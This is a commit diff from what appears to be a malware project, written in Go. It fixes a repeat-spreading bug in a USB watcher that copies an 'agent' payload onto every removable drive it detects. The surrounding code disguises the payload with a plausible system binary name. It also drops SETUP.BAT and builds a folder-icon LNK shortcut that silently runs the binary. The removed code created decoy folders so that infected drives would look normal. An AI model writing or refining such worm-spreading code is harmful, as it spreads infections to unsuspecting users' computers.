Fix USB spread loop: record exe size before goroutine, remove decoy folders
This commit is contained in:
@@ -41,13 +41,20 @@ func runUSBWatcherUnix(cfg config.RuntimeConfig) {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
exeInfo, err := os.Stat(exePath)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
currentSize := exeInfo.Size()
|
||||
|
||||
// Spread to drives already present at startup if payload is missing or stale.
|
||||
// Record the current exe size BEFORE launching the goroutine so the ticker
|
||||
// never fires again for a drive that's already being written.
|
||||
for _, mp := range listRemovableMounts() {
|
||||
size, found := findUnixPayloadSize(mp)
|
||||
if !found || isPayloadStale(exePath, size) {
|
||||
state[mp] = mountState{payloadSize: currentSize}
|
||||
go spreadToMountUnix(cfg, mp)
|
||||
state[mp] = mountState{}
|
||||
} else {
|
||||
state[mp] = mountState{payloadSize: size}
|
||||
}
|
||||
@@ -64,13 +71,13 @@ func runUSBWatcherUnix(cfg config.RuntimeConfig) {
|
||||
prev, seen := state[mp]
|
||||
if !seen {
|
||||
log.Printf("[passive-spread] new removable mount: %s", mp)
|
||||
state[mp] = mountState{}
|
||||
state[mp] = mountState{payloadSize: exeInfo.Size()}
|
||||
go spreadToMountUnix(cfg, mp)
|
||||
continue
|
||||
}
|
||||
if prev.payloadSize != exeInfo.Size() {
|
||||
log.Printf("[passive-spread] refreshing stale payload on %s", mp)
|
||||
state[mp] = mountState{}
|
||||
state[mp] = mountState{payloadSize: exeInfo.Size()}
|
||||
go spreadToMountUnix(cfg, mp)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -98,6 +98,8 @@ var knownDropDirs = []string{"~RECYCLER", "System Volume Information", "$WinMeta
|
||||
// that don't already carry an up-to-date payload.
|
||||
func runUSBWatcher(cfg config.RuntimeConfig) {
|
||||
// Track drives + the size of the payload we last wrote to each.
|
||||
// Storing the exe size BEFORE launching the goroutine prevents the ticker
|
||||
// from re-triggering a spread on every cycle (payloadSize 0 != exeSize).
|
||||
type driveState struct{ payloadSize int64 }
|
||||
state := map[string]driveState{}
|
||||
|
||||
@@ -105,6 +107,11 @@ func runUSBWatcher(cfg config.RuntimeConfig) {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
exeInfo, err := os.Stat(exePath)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
currentSize := exeInfo.Size()
|
||||
|
||||
// Check drives already present when the agent starts — spread to any that
|
||||
// are missing or stale (different binary size), don't just skip them.
|
||||
@@ -112,8 +119,10 @@ func runUSBWatcher(cfg config.RuntimeConfig) {
|
||||
if getDriveType(d) == driveRemovable {
|
||||
size, found := findUSBPayloadSize(d)
|
||||
if !found || isPayloadStale(exePath, size) {
|
||||
// Mark with current exe size NOW so the ticker never re-fires
|
||||
// for this drive while the goroutine is still running.
|
||||
state[d] = driveState{payloadSize: currentSize}
|
||||
go spreadToUSB(cfg, d)
|
||||
state[d] = driveState{}
|
||||
} else {
|
||||
state[d] = driveState{payloadSize: size}
|
||||
}
|
||||
@@ -133,16 +142,16 @@ func runUSBWatcher(cfg config.RuntimeConfig) {
|
||||
}
|
||||
prev, seen := state[d]
|
||||
if !seen {
|
||||
// Brand-new drive just inserted
|
||||
// Brand-new drive just inserted — record size before goroutine.
|
||||
log.Printf("[passive-spread] new USB drive: %s", d)
|
||||
state[d] = driveState{}
|
||||
state[d] = driveState{payloadSize: exeInfo.Size()}
|
||||
go spreadToUSB(cfg, d)
|
||||
continue
|
||||
}
|
||||
// Refresh if the agent binary was updated since we last wrote
|
||||
// Refresh only when the running binary is genuinely newer.
|
||||
if prev.payloadSize != exeInfo.Size() {
|
||||
log.Printf("[passive-spread] refreshing stale payload on %s", d)
|
||||
state[d] = driveState{}
|
||||
state[d] = driveState{payloadSize: exeInfo.Size()}
|
||||
go spreadToUSB(cfg, d)
|
||||
}
|
||||
}
|
||||
@@ -220,13 +229,6 @@ func spreadToUSB(cfg config.RuntimeConfig, drive string) {
|
||||
batPath := filepath.Join(drive, "SETUP.BAT")
|
||||
_ = os.WriteFile(batPath, []byte(batLines), 0644)
|
||||
|
||||
// 4. Decoy visible folder so the drive looks natural when opened
|
||||
decoyDir := filepath.Join(drive, pickDecoyFolderName(drive))
|
||||
if err := os.MkdirAll(decoyDir, 0755); err == nil {
|
||||
// Drop a harmless placeholder so it doesn't look empty
|
||||
_ = os.WriteFile(filepath.Join(decoyDir, "readme.txt"),
|
||||
[]byte("This folder is empty.\r\n"), 0644)
|
||||
}
|
||||
}
|
||||
|
||||
// usbPayloadName returns a plausible system binary name for the USB payload.
|
||||
@@ -269,23 +271,6 @@ func pickLinkName(drive string) string {
|
||||
return "Open Documents"
|
||||
}
|
||||
|
||||
// pickDecoyFolderName returns a visible folder name to create on the USB so
|
||||
// the drive looks like it contains real content. It avoids names already
|
||||
// used by pickLinkName so the shortcut name and decoy name differ.
|
||||
func pickDecoyFolderName(drive string) string {
|
||||
candidates := []string{"Documents", "Photos", "Videos", "Music", "Backup", "Files"}
|
||||
entries, _ := os.ReadDir(drive)
|
||||
existing := map[string]bool{}
|
||||
for _, e := range entries {
|
||||
existing[strings.ToLower(e.Name())] = true
|
||||
}
|
||||
for _, c := range candidates {
|
||||
if !existing[strings.ToLower(c)] {
|
||||
return c
|
||||
}
|
||||
}
|
||||
return "Backup"
|
||||
}
|
||||
|
||||
// createFolderShortcut uses PowerShell's WScript.Shell COM object to
|
||||
// create an LNK shortcut with a folder icon that silently runs destBin.
|
||||
|
||||
Reference in New Issue
Block a user